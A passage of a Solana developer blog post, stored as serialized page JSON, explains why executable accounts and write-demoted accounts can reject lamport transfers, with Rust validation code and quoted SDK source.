checks\n",{"type":23,"tag":230,"props":75349,"children":75350},{"class":232,"line":4659},[75351,75355,75359,75363],{"type":23,"tag":230,"props":75352,"children":75353},{"style":274},[75354],{"type":29,"value":74848},{"type":23,"tag":230,"props":75356,"children":75357},{"style":268},[75358],{"type":29,"value":863},{"type":23,"tag":230,"props":75360,"children":75361},{"style":380},[75362],{"type":29,"value":74857},{"type":23,"tag":230,"props":75364,"children":75365},{"style":274},[75366],{"type":29,"value":22923},{"type":23,"tag":230,"props":75368,"children":75369},{"class":232,"line":4671},[75370],{"type":23,"tag":230,"props":75371,"children":75372},{"style":274},[75373],{"type":29,"value":75374},"#[inline]\n",{"type":23,"tag":230,"props":75376,"children":75377},{"class":232,"line":4688},[75378,75382,75387,75391,75395,75399,75403,75407,75411],{"type":23,"tag":230,"props":75379,"children":75380},{"style":256},[75381],{"type":29,"value":22581},{"type":23,"tag":230,"props":75383,"children":75384},{"style":294},[75385],{"type":29,"value":75386}," is_executable_internal",{"type":23,"tag":230,"props":75388,"children":75389},{"style":274},[75390],{"type":29,"value":302},{"type":23,"tag":230,"props":75392,"children":75393},{"style":268},[75394],{"type":29,"value":5448},{"type":23,"tag":230,"props":75396,"children":75397},{"style":256},[75398],{"type":29,"value":16040},{"type":23,"tag":230,"props":75400,"children":75401},{"style":274},[75402],{"type":29,"value":703},{"type":23,"tag":230,"props":75404,"children":75405},{"style":268},[75406],{"type":29,"value":16084},{"type":23,"tag":230,"props":75408,"children":75409},{"style":676},[75410],{"type":29,"value":14381},{"type":23,"tag":230,"props":75412,"children":75413},{"style":274},[75414],{"type":29,"value":277},{"type":23,"tag":230,"props":75416,"children":75417},{"class":232,"line":4701},[75418,75422],{"type":23,"tag":230,"props":75419,"children":75420},{"style":268},[75421],{"type":29,"value":3120},{"type":23,"tag":230,"props":75423,"children":75424},{"style":256},[75425],{"type":29,"value":75426},"self\n",{"type":23,"tag":230,"props":75428,"children":75429},{"class":232,"line":4724},[75430,75434],{"type":23,"tag":230,"props":75431,"children":75432},{"style":268},[75433],{"type":29,"value":70036},{"type":23,"tag":230,"props":75435,"children":75436},{"style":274},[75437],{"type":29,"value":75438},"transaction_context\n",{"type":23,"tag":230,"props":75440,"children":75441},{"class":232,"line":4741},[75442,75446],{"type":23,"tag":230,"props":75443,"children":75444},{"style":268},[75445],{"type":29,"value":70036},{"type":23,"tag":230,"props":75447,"children":75448},{"style":274},[75449],{"type":29,"value":75450},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":230,"props":75452,"children":75453},{"class":232,"line":4759},[75454,75458,75462,75466,75470,75474,75478],{"type":23,"tag":230,"props":75455,"children":75456},{"style":268},[75457],{"type":29,"value":44568},{"type":23,"tag":230,"props":75459,"children":75460},{"style":256},[75461],{"type":29,"value":16124},{"type":23,"tag":230,"props":75463,"children":75464},{"style":268},[75465],{"type":29,"value":312},{"type":23,"tag":230,"props":75467,"children":75468},{"style":274},[75469],{"type":29,"value":15282},{"type":23,"tag":230,"props":75471,"children":75472},{"style":268},[75473],{"type":29,"value":312},{"type":23,"tag":230,"props":75475,"children":75476},{"style":294},[75477],{"type":29,"value":17980},{"type":23,"tag":230,"props":75479,"children":75480},{"style":274},[75481],{"type":29,"value":10072},{"type":23,"tag":230,"props":75483,"children":75484},{"class":232,"line":4768},[75485],{"type":23,"tag":230,"props":75486,"children":75487},{"style":274},[75488],{"type":29,"value":975},{"type":23,"tag":32,"props":75490,"children":75491},{},[75492],{"type":29,"value":75493},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":32,"props":75495,"children":75496},{},[75497,75499,75504],{"type":29,"value":75498},"Specifically, ",{"type":23,"tag":2302,"props":75500,"children":75501},{},[75502],{"type":29,"value":75503},"executable accounts",{"type":29,"value":75505}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":192,"props":75507,"children":75509},{"id":75508},"sidebar-whats-the-executable-flag-anyway",[75510],{"type":29,"value":75511},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":32,"props":75513,"children":75514},{},[75515,75516,75521],{"type":29,"value":980},{"type":23,"tag":71,"props":75517,"children":75519},{"className":75518},[],[75520],{"type":29,"value":17980},{"type":29,"value":75522}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":32,"props":75524,"children":75525},{},[75526,75528,75533],{"type":29,"value":75527},"This behavior became problematic with the introduction of the ",{"type":23,"tag":2302,"props":75529,"children":75530},{},[75531],{"type":29,"value":75532},"Upgradeable BPF Loader",{"type":29,"value":75534},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":220,"props":75536,"children":75538},{"className":5320,"code":75537,"language":5319,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[75539],{"type":23,"tag":71,"props":75540,"children":75541},{"__ignoreMap":7},[75542,75554,75562,75582,75590,75602,75610,75630,75638,75666,75674,75682],{"type":23,"tag":230,"props":75543,"children":75544},{"class":232,"line":233},[75545,75550],{"type":23,"tag":230,"props":75546,"children":75547},{"style":676},[75548],{"type":29,"value":75549},"Program",{"type":23,"tag":230,"props":75551,"children":75552},{"style":274},[75553],{"type":29,"value":277},{"type":23,"tag":230,"props":75555,"children":75556},{"class":232,"line":243},[75557],{"type":23,"tag":230,"props":75558,"children":75559},{"style":237},[75560],{"type":29,"value":75561},"    /// Address of the ProgramData account.\n",{"type":23,"tag":230,"props":75563,"children":75564},{"class":232,"line":252},[75565,75570,75574,75578],{"type":23,"tag":230,"props":75566,"children":75567},{"style":262},[75568],{"type":29,"value":75569},"    programdata_address",{"type":23,"tag":230,"props":75571,"children":75572},{"style":268},[75573],{"type":29,"value":218},{"type":23,"tag":230,"props":75575,"children":75576},{"style":676},[75577],{"type":29,"value":23172},{"type":23,"tag":230,"props":75579,"children":75580},{"style":274},[75581],{"type":29,"value":388},{"type":23,"tag":230,"props":75583,"children":75584},{"class":232,"line":280},[75585],{"type":23,"tag":230,"props":75586,"children":75587},{"style":274},[75588],{"type":29,"value":75589},"},\n",{"type":23,"tag":230,"props":75591,"children":75592},{"class":232,"line":334},[75593,75598],{"type":23,"tag":230,"props":75594,"children":75595},{"style":676},[75596],{"type":29,"value":75597},"ProgramData",{"type":23,"tag":230,"props":75599,"children":75600},{"style":274},[75601],{"type":29,"value":277},{"type":23,"tag":230,"props":75603,"children":75604},{"class":232,"line":371},[75605],{"type":23,"tag":230,"props":75606,"children":75607},{"style":237},[75608],{"type":29,"value":75609},"    /// Slot that the program was last modified.\n",{"type":23,"tag":230,"props":75611,"children":75612},{"class":232,"line":391},[75613,75618,75622,75626],{"type":23,"tag":230,"props":75614,"children":75615},{"style":262},[75616],{"type":29,"value":75617},"    slot",{"type":23,"tag":230,"props":75619,"children":75620},{"style":268},[75621],{"type":29,"value":218},{"type":23,"tag":230,"props":75623,"children":75624},{"style":676},[75625],{"type":29,"value":8197},{"type":23,"tag":230,"props":75627,"children":75628},{"style":274},[75629],{"type":29,"value":388},{"type":23,"tag":230,"props":75631,"children":75632},{"class":232,"line":400},[75633],{"type":23,"tag":230,"props":75634,"children":75635},{"style":237},[75636],{"type":29,"value":75637},"    /// Address of the Program's upgrade authority.\n",{"type":23,"tag":230,"props":75639,"children":75640},{"class":232,"line":444},[75641,75646,75650,75654,75658,75662],{"type":23,"tag":230,"props":75642,"children":75643},{"style":262},[75644],{"type":29,"value":75645},"    upgrade_authority_address",{"type":23,"tag":230,"props":75647,"children":75648},{"style":268},[75649],{"type":29,"value":218},{"type":23,"tag":230,"props":75651,"children":75652},{"style":676},[75653],{"type":29,"value":29953},{"type":23,"tag":230,"props":75655,"children":75656},{"style":274},[75657],{"type":29,"value":8143},{"type":23,"tag":230,"props":75659,"children":75660},{"style":676},[75661],{"type":29,"value":23712},{"type":23,"tag":230,"props":75663,"children":75664},{"style":274},[75665],{"type":29,"value":8475},{"type":23,"tag":230,"props":75667,"children":75668},{"class":232,"line":453},[75669],{"type":23,"tag":230,"props":75670,"children":75671},{"style":237},[75672],{"type":29,"value":75673},"    // The raw program data follows this serialized structure in the\n",{"type":23,"tag":230,"props":75675,"children":75676},{"class":232,"line":462},[75677],{"type":23,"tag":230,"props":75678,"children":75679},{"style":237},[75680],{"type":29,"value":75681},"    // account's data.\n",{"type":23,"tag":230,"props":75683,"children":75684},{"class":232,"line":471},[75685],{"type":23,"tag":230,"props":75686,"children":75687},{"style":274},[75688],{"type":29,"value":75589},{"type":23,"tag":32,"props":75690,"children":75691},{},[75692,75694,75701],{"type":29,"value":75693},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":181,"props":75695,"children":75698},{"href":75696,"rel":75697},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[185],[75699],{"type":29,"value":75700},"SIMD-0162",{"type":29,"value":75702},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":32,"props":75704,"children":75705},{},[75706,75708,75713,75715,75720],{"type":29,"value":75707},"This change is also a ",{"type":23,"tag":2302,"props":75709,"children":75710},{},[75711],{"type":29,"value":75712},"hard requirement for supporting the new loader-v4",{"type":29,"value":75714},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":71,"props":75716,"children":75718},{"className":75717},[],[75719],{"type":29,"value":75597},{"type":29,"value":75721}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":32,"props":75723,"children":75724},{},[75725,75727,75734,75736,75741],{"type":29,"value":75726},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":181,"props":75728,"children":75731},{"href":75729,"rel":75730},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[185],[75732],{"type":29,"value":75733},"migrate",{"type":29,"value":75735}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":71,"props":75737,"children":75739},{"className":75738},[],[75740],{"type":29,"value":75174},{"type":29,"value":75742}," restriction.",{"type":23,"tag":192,"props":75744,"children":75746},{"id":75745},"fix-2-reject-program-accounts",[75747],{"type":29,"value":75748},"Fix 2: Reject Program Accounts",{"type":23,"tag":32,"props":75750,"children":75751},{},[75752],{"type":29,"value":75753},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":220,"props":75755,"children":75757},{"className":5320,"code":75756,"language":5319,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[75758],{"type":23,"tag":71,"props":75759,"children":75760},{"__ignoreMap":7},[75761,75837,75885,75901,75908,75947,75991,76015,76064,76092],{"type":23,"tag":230,"props":75762,"children":75763},{"class":232,"line":233},[75764,75768,75772,75777,75781,75785,75789,75793,75797,75801,75805,75809,75813,75817,75821,75825,75829,75833],{"type":23,"tag":230,"props":75765,"children":75766},{"style":256},[75767],{"type":29,"value":16017},{"type":23,"tag":230,"props":75769,"children":75770},{"style":256},[75771],{"type":29,"value":16022},{"type":23,"tag":230,"props":75773,"children":75774},{"style":294},[75775],{"type":29,"value":75776}," can_transfer_lamports",{"type":23,"tag":230,"props":75778,"children":75779},{"style":274},[75780],{"type":29,"value":302},{"type":23,"tag":230,"props":75782,"children":75783},{"style":262},[75784],{"type":29,"value":15282},{"type":23,"tag":230,"props":75786,"children":75787},{"style":268},[75788],{"type":29,"value":218},{"type":23,"tag":230,"props":75790,"children":75791},{"style":268},[75792],{"type":29,"value":9477},{"type":23,"tag":230,"props":75794,"children":75795},{"style":676},[75796],{"type":29,"value":17264},{"type":23,"tag":230,"props":75798,"children":75799},{"style":274},[75800],{"type":29,"value":684},{"type":23,"tag":230,"props":75802,"children":75803},{"style":262},[75804],{"type":29,"value":17836},{"type":23,"tag":230,"props":75806,"children":75807},{"style":268},[75808],{"type":29,"value":218},{"type":23,"tag":230,"props":75810,"children":75811},{"style":676},[75812],{"type":29,"value":8197},{"type":23,"tag":230,"props":75814,"children":75815},{"style":274},[75816],{"type":29,"value":703},{"type":23,"tag":230,"props":75818,"children":75819},{"style":268},[75820],{"type":29,"value":16084},{"type":23,"tag":230,"props":75822,"children":75823},{"style":676},[75824],{"type":29,"value":16089},{"type":23,"tag":230,"props":75826,"children":75827},{"style":274},[75828],{"type":29,"value":8143},{"type":23,"tag":230,"props":75830,"children":75831},{"style":676},[75832],{"type":29,"value":31992},{"type":23,"tag":230,"props":75834,"children":75835},{"style":274},[75836],{"type":29,"value":9617},{"type":23,"tag":230,"props":75838,"children":75839},{"class":232,"line":243},[75840,75844,75849,75853,75857,75861,75865,75869,75873,75877,75881],{"type":23,"tag":230,"props":75841,"children":75842},{"style":256},[75843],{"type":29,"value":22581},{"type":23,"tag":230,"props":75845,"children":75846},{"style":294},[75847],{"type":29,"value":75848}," is_program",{"type":23,"tag":230,"props":75850,"children":75851},{"style":274},[75852],{"type":29,"value":302},{"type":23,"tag":230,"props":75854,"children":75855},{"style":262},[75856],{"type":29,"value":15282},{"type":23,"tag":230,"props":75858,"children":75859},{"style":268},[75860],{"type":29,"value":218},{"type":23,"tag":230,"props":75862,"children":75863},{"style":268},[75864],{"type":29,"value":9477},{"type":23,"tag":230,"props":75866,"children":75867},{"style":676},[75868],{"type":29,"value":17264},{"type":23,"tag":230,"props":75870,"children":75871},{"style":274},[75872],{"type":29,"value":703},{"type":23,"tag":230,"props":75874,"children":75875},{"style":268},[75876],{"type":29,"value":16084},{"type":23,"tag":230,"props":75878,"children":75879},{"style":676},[75880],{"type":29,"value":14381},{"type":23,"tag":230,"props":75882,"children":75883},{"style":274},[75884],{"type":29,"value":277},{"type":23,"tag":230,"props":75886,"children":75887},{"class":232,"line":252},[75888,75892,75896],{"type":23,"tag":230,"props":75889,"children":75890},{"style":262},[75891],{"type":29,"value":27478},{"type":23,"tag":230,"props":75893,"children":75894},{"style":268},[75895],{"type":29,"value":312},{"type":23,"tag":230,"props":75897,"children":75898},{"style":274},[75899],{"type":29,"value":75900},"executable\n",{"type":23,"tag":230,"props":75902,"children":75903},{"class":232,"line":280},[75904],{"type":23,"tag":230,"props":75905,"children":75906},{"style":274},[75907],{"type":29,"value":975},{"type":23,"tag":230,"props":75909,"children":75910},{"class":232,"line":334},[75911,75915,75919,75923,75927,75931,75935,75939,75943],{"type":23,"tag":230,"props":75912,"children":75913},{"style":256},[75914],{"type":29,"value":14118},{"type":23,"tag":230,"props":75916,"children":75917},{"style":262},[75918],{"type":29,"value":74668},{"type":23,"tag":230,"props":75920,"children":75921},{"style":268},[75922],{"type":29,"value":271},{"type":23,"tag":230,"props":75924,"children":75925},{"style":676},[75926],{"type":29,"value":45239},{"type":23,"tag":230,"props":75928,"children":75929},{"style":268},[75930],{"type":29,"value":5818},{"type":23,"tag":230,"props":75932,"children":75933},{"style":294},[75934],{"type":29,"value":18676},{"type":23,"tag":230,"props":75936,"children":75937},{"style":274},[75938],{"type":29,"value":16206},{"type":23,"tag":230,"props":75940,"children":75941},{"style":268},[75942],{"type":29,"value":5494},{"type":23,"tag":230,"props":75944,"children":75945},{"style":274},[75946],{"type":29,"value":511},{"type":23,"tag":230,"props":75948,"children":75949},{"class":232,"line":371},[75950,75954,75959,75963,75967,75971,75975,75979,75983,75987],{"type":23,"tag":230,"props":75951,"children":75952},{"style":256},[75953],{"type":29,"value":14118},{"type":23,"tag":230,"props":75955,"children":75956},{"style":262},[75957],{"type":29,"value":75958}," balance_after",{"type":23,"tag":230,"props":75960,"children":75961},{"style":268},[75962],{"type":29,"value":271},{"type":23,"tag":230,"props":75964,"children":75965},{"style":262},[75966],{"type":29,"value":7821},{"type":23,"tag":230,"props":75968,"children":75969},{"style":268},[75970],{"type":29,"value":312},{"type":23,"tag":230,"props":75972,"children":75973},{"style":294},[75974],{"type":29,"value":17836},{"type":23,"tag":230,"props":75976,"children":75977},{"style":274},[75978],{"type":29,"value":16370},{"type":23,"tag":230,"props":75980,"children":75981},{"style":268},[75982],{"type":29,"value":6719},{"type":23,"tag":230,"props":75984,"children":75985},{"style":262},[75986],{"type":29,"value":74979},{"type":23,"tag":230,"props":75988,"children":75989},{"style":274},[75990],{"type":29,"value":511},{"type":23,"tag":230,"props":75992,"children":75993},{"class":232,"line":391},[75994,75998,76002,76006,76010],{"type":23,"tag":230,"props":75995,"children":75996},{"style":676},[75997],{"type":29,"value":22804},{"type":23,"tag":230,"props":75999,"children":76000},{"style":274},[76001],{"type":29,"value":302},{"type":23,"tag":230,"props":76003,"children":76004},{"style":262},[76005],{"type":29,"value":15282},{"type":23,"tag":230,"props":76007,"children":76008},{"style":268},[76009],{"type":29,"value":312},{"type":23,"tag":230,"props":76011,"children":76012},{"style":274},[76013],{"type":29,"value":76014},"is_writable\n",{"type":23,"tag":230,"props":76016,"children":76017},{"class":232,"line":400},[76018,76022,76026,76030,76035,76039,76044,76048,76052,76056,76060],{"type":23,"tag":230,"props":76019,"children":76020},{"style":268},[76021],{"type":29,"value":17946},{"type":23,"tag":230,"props":76023,"children":76024},{"style":262},[76025],{"type":29,"value":74668},{"type":23,"tag":230,"props":76027,"children":76028},{"style":268},[76029],{"type":29,"value":312},{"type":23,"tag":230,"props":76031,"children":76032},{"style":294},[76033],{"type":29,"value":76034},"is_exempt",{"type":23,"tag":230,"props":76036,"children":76037},{"style":274},[76038],{"type":29,"value":302},{"type":23,"tag":230,"props":76040,"children":76041},{"style":262},[76042],{"type":29,"value":76043},"balance_after",{"type":23,"tag":230,"props":76045,"children":76046},{"style":274},[76047],{"type":29,"value":684},{"type":23,"tag":230,"props":76049,"children":76050},{"style":262},[76051],{"type":29,"value":15282},{"type":23,"tag":230,"props":76053,"children":76054},{"style":268},[76055],{"type":29,"value":312},{"type":23,"tag":230,"props":76057,"children":76058},{"style":294},[76059],{"type":29,"value":16133},{"type":23,"tag":230,"props":76061,"children":76062},{"style":274},[76063],{"type":29,"value":17985},{"type":23,"tag":230,"props":76065,"children":76066},{"class":232,"line":444},[76067,76071,76075,76080,76084,76088],{"type":23,"tag":230,"props":76068,"children":76069},{"style":268},[76070],{"type":29,"value":17946},{"type":23,"tag":230,"props":76072,"children":76073},{"style":268},[76074],{"type":29,"value":15193},{"type":23,"tag":230,"props":76076,"children":76077},{"style":294},[76078],{"type":29,"value":76079},"is_program",{"type":23,"tag":230,"props":76081,"children":76082},{"style":274},[76083],{"type":29,"value":302},{"type":23,"tag":230,"props":76085,"children":76086},{"style":262},[76087],{"type":29,"value":15282},{"type":23,"tag":230,"props":76089,"children":76090},{"style":274},[76091],{"type":29,"value":22026},{"type":23,"tag":230,"props":76093,"children":76094},{"class":232,"line":453},[76095],{"type":23,"tag":230,"props":76096,"children":76097},{"style":274},[76098],{"type":29,"value":975},{"type":23,"tag":32,"props":76100,"children":76101},{},[76102],{"type":29,"value":76103},"Now we’re safe...right?",{"type":23,"tag":59,"props":76105,"children":76107},{"id":76106},"bug-3-the-write-demotion-trap",[76108],{"type":29,"value":76109},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":32,"props":76111,"children":76112},{},[76113,76115,76120,76122,76127],{"type":29,"value":76114},"On Solana, accounts passed as ",{"type":23,"tag":2302,"props":76116,"children":76117},{},[76118],{"type":29,"value":76119},"writable",{"type":29,"value":76121}," in a transaction can be ",{"type":23,"tag":2302,"props":76123,"children":76124},{},[76125],{"type":29,"value":76126},"silently downgraded to read-only",{"type":29,"value":76128},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":32,"props":76130,"children":76131},{},[76132,76134,76141],{"type":29,"value":76133},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":181,"props":76135,"children":76138},{"href":76136,"rel":76137},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[185],[76139],{"type":29,"value":76140},"MessageV0",{"type":29,"value":76142},", but legacy is simpler to follow):",{"type":23,"tag":220,"props":76144,"children":76146},{"className":5320,"code":76145,"language":5319,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[76147],{"type":23,"tag":71,"props":76148,"children":76149},{"__ignoreMap":7},[76150,76158,76182,76270,76291,76303,76319,76335,76383,76412,76466,76502,76510,76547,76559,76597,76609,76616,76623,76630,76637,76645,76705,76758],{"type":23,"tag":230,"props":76151,"children":76152},{"class":232,"line":233},[76153],{"type":23,"tag":230,"props":76154,"children":76155},{"style":237},[76156],{"type":29,"value":76157},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":230,"props":76159,"children":76160},{"class":232,"line":243},[76161,76165,76170,76174,76178],{"type":23,"tag":230,"props":76162,"children":76163},{"style":256},[76164],{"type":29,"value":30502},{"type":23,"tag":230,"props":76166,"children":76167},{"style":676},[76168],{"type":29,"value":76169}," LegacyMessage",{"type":23,"tag":230,"props":76171,"children":76172},{"style":274},[76173],{"type":29,"value":25237},{"type":23,"tag":230,"props":76175,"children":76176},{"style":676},[76177],{"type":29,"value":5422},{"type":23,"tag":230,"props":76179,"children":76180},{"style":274},[76181],{"type":29,"value":9617},{"type":23,"tag":230,"props":76183,"children":76184},{"class":232,"line":252},[76185,76189,76193,76197,76201,76205,76209,76214,76218,76223,76227,76232,76236,76240,76245,76249,76253,76257,76261,76266],{"type":23,"tag":230,"props":76186,"children":76187},{"style":256},[76188],{"type":29,"value":23158},{"type":23,"tag":230,"props":76190,"children":76191},{"style":256},[76192],{"type":29,"value":16022},{"type":23,"tag":230,"props":76194,"children":76195},{"style":294},[76196],{"type":29,"value":291},{"type":23,"tag":230,"props":76198,"children":76199},{"style":274},[76200],{"type":29,"value":302},{"type":23,"tag":230,"props":76202,"children":76203},{"style":262},[76204],{"type":29,"value":69813},{"type":23,"tag":230,"props":76206,"children":76207},{"style":268},[76208],{"type":29,"value":218},{"type":23,"tag":230,"props":76210,"children":76211},{"style":274},[76212],{"type":29,"value":76213}," legacy",{"type":23,"tag":230,"props":76215,"children":76216},{"style":268},[76217],{"type":29,"value":5818},{"type":23,"tag":230,"props":76219,"children":76220},{"style":676},[76221],{"type":29,"value":76222},"Message",{"type":23,"tag":230,"props":76224,"children":76225},{"style":274},[76226],{"type":29,"value":684},{"type":23,"tag":230,"props":76228,"children":76229},{"style":262},[76230],{"type":29,"value":76231},"reserved_account_keys",{"type":23,"tag":230,"props":76233,"children":76234},{"style":268},[76235],{"type":29,"value":218},{"type":23,"tag":230,"props":76237,"children":76238},{"style":268},[76239],{"type":29,"value":9477},{"type":23,"tag":230,"props":76241,"children":76242},{"style":676},[76243],{"type":29,"value":76244},"HashSet",{"type":23,"tag":230,"props":76246,"children":76247},{"style":274},[76248],{"type":29,"value":8143},{"type":23,"tag":230,"props":76250,"children":76251},{"style":676},[76252],{"type":29,"value":23712},{"type":23,"tag":230,"props":76254,"children":76255},{"style":274},[76256],{"type":29,"value":22761},{"type":23,"tag":230,"props":76258,"children":76259},{"style":268},[76260],{"type":29,"value":16084},{"type":23,"tag":230,"props":76262,"children":76263},{"style":256},[76264],{"type":29,"value":76265}," Self",{"type":23,"tag":230,"props":76267,"children":76268},{"style":274},[76269],{"type":29,"value":277},{"type":23,"tag":230,"props":76271,"children":76272},{"class":232,"line":280},[76273,76277,76282,76286],{"type":23,"tag":230,"props":76274,"children":76275},{"style":256},[76276],{"type":29,"value":5404},{"type":23,"tag":230,"props":76278,"children":76279},{"style":262},[76280],{"type":29,"value":76281}," is_writable_account_cache",{"type":23,"tag":230,"props":76283,"children":76284},{"style":268},[76285],{"type":29,"value":271},{"type":23,"tag":230,"props":76287,"children":76288},{"style":262},[76289],{"type":29,"value":76290}," message\n",{"type":23,"tag":230,"props":76292,"children":76293},{"class":232,"line":334},[76294,76298],{"type":23,"tag":230,"props":76295,"children":76296},{"style":268},[76297],{"type":29,"value":5506},{"type":23,"tag":230,"props":76299,"children":76300},{"style":274},[76301],{"type":29,"value":76302},"account_keys\n",{"type":23,"tag":230,"props":76304,"children":76305},{"class":232,"line":371},[76306,76310,76315],{"type":23,"tag":230,"props":76307,"children":76308},{"style":268},[76309],{"type":29,"value":5506},{"type":23,"tag":230,"props":76311,"children":76312},{"style":294},[76313],{"type":29,"value":76314},"iter",{"type":23,"tag":230,"props":76316,"children":76317},{"style":274},[76318],{"type":29,"value":10072},{"type":23,"tag":230,"props":76320,"children":76321},{"class":232,"line":391},[76322,76326,76331],{"type":23,"tag":230,"props":76323,"children":76324},{"style":268},[76325],{"type":29,"value":5506},{"type":23,"tag":230,"props":76327,"children":76328},{"style":294},[76329],{"type":29,"value":76330},"enumerate",{"type":23,"tag":230,"props":76332,"children":76333},{"style":274},[76334],{"type":29,"value":10072},{"type":23,"tag":230,"props":76336,"children":76337},{"class":232,"line":400},[76338,76342,76346,76350,76354,76358,76362,76366,76371,76375,76379],{"type":23,"tag":230,"props":76339,"children":76340},{"style":268},[76341],{"type":29,"value":5506},{"type":23,"tag":230,"props":76343,"children":76344},{"style":294},[76345],{"type":29,"value":68878},{"type":23,"tag":230,"props":76347,"children":76348},{"style":274},[76349],{"type":29,"value":302},{"type":23,"tag":230,"props":76351,"children":76352},{"style":268},[76353],{"type":29,"value":12746},{"type":23,"tag":230,"props":76355,"children":76356},{"style":274},[76357],{"type":29,"value":302},{"type":23,"tag":230,"props":76359,"children":76360},{"style":262},[76361],{"type":29,"value":6074},{"type":23,"tag":230,"props":76363,"children":76364},{"style":274},[76365],{"type":29,"value":684},{"type":23,"tag":230,"props":76367,"children":76368},{"style":262},[76369],{"type":29,"value":76370},"_key",{"type":23,"tag":230,"props":76372,"children":76373},{"style":274},[76374],{"type":29,"value":5467},{"type":23,"tag":230,"props":76376,"children":76377},{"style":268},[76378],{"type":29,"value":12746},{"type":23,"tag":230,"props":76380,"children":76381},{"style":274},[76382],{"type":29,"value":277},{"type":23,"tag":230,"props":76384,"children":76385},{"class":232,"line":444},[76386,76391,76395,76400,76404,76408],{"type":23,"tag":230,"props":76387,"children":76388},{"style":262},[76389],{"type":29,"value":76390},"                message",{"type":23,"tag":230,"props":76392,"children":76393},{"style":268},[76394],{"type":29,"value":312},{"type":23,"tag":230,"props":76396,"children":76397},{"style":294},[76398],{"type":29,"value":76399},"is_writable_index",{"type":23,"tag":230,"props":76401,"children":76402},{"style":274},[76403],{"type":29,"value":302},{"type":23,"tag":230,"props":76405,"children":76406},{"style":262},[76407],{"type":29,"value":6074},{"type":23,"tag":230,"props":76409,"children":76410},{"style":274},[76411],{"type":29,"value":4516},{"type":23,"tag":230,"props":76413,"children":76414},{"class":232,"line":453},[76415,76420,76424,76428,76432,76437,76441,76445,76449,76453,76458,76462],{"type":23,"tag":230,"props":76416,"children":76417},{"style":268},[76418],{"type":29,"value":76419},"                    &&",{"type":23,"tag":230,"props":76421,"children":76422},{"style":268},[76423],{"type":29,"value":15193},{"type":23,"tag":230,"props":76425,"children":76426},{"style":262},[76427],{"type":29,"value":76231},{"type":23,"tag":230,"props":76429,"children":76430},{"style":268},[76431],{"type":29,"value":312},{"type":23,"tag":230,"props":76433,"children":76434},{"style":294},[76435],{"type":29,"value":76436},"contains",{"type":23,"tag":230,"props":76438,"children":76439},{"style":274},[76440],{"type":29,"value":302},{"type":23,"tag":230,"props":76442,"children":76443},{"style":268},[76444],{"type":29,"value":5448},{"type":23,"tag":230,"props":76446,"children":76447},{"style":262},[76448],{"type":29,"value":69813},{"type":23,"tag":230,"props":76450,"children":76451},{"style":268},[76452],{"type":29,"value":312},{"type":23,"tag":230,"props":76454,"children":76455},{"style":274},[76456],{"type":29,"value":76457},"account_keys[",{"type":23,"tag":230,"props":76459,"children":76460},{"style":262},[76461],{"type":29,"value":6074},{"type":23,"tag":230,"props":76463,"children":76464},{"style":274},[76465],{"type":29,"value":57214},{"type":23,"tag":230,"props":76467,"children":76468},{"class":232,"line":462},[76469,76473,76477,76481,76485,76490,76494,76498],{"type":23,"tag":230,"props":76470,"children":76471},{"style":268},[76472],{"type":29,"value":76419},{"type":23,"tag":230,"props":76474,"children":76475},{"style":268},[76476],{"type":29,"value":15193},{"type":23,"tag":230,"props":76478,"children":76479},{"style":262},[76480],{"type":29,"value":69813},{"type":23,"tag":230,"props":76482,"children":76483},{"style":268},[76484],{"type":29,"value":312},{"type":23,"tag":230,"props":76486,"children":76487},{"style":294},[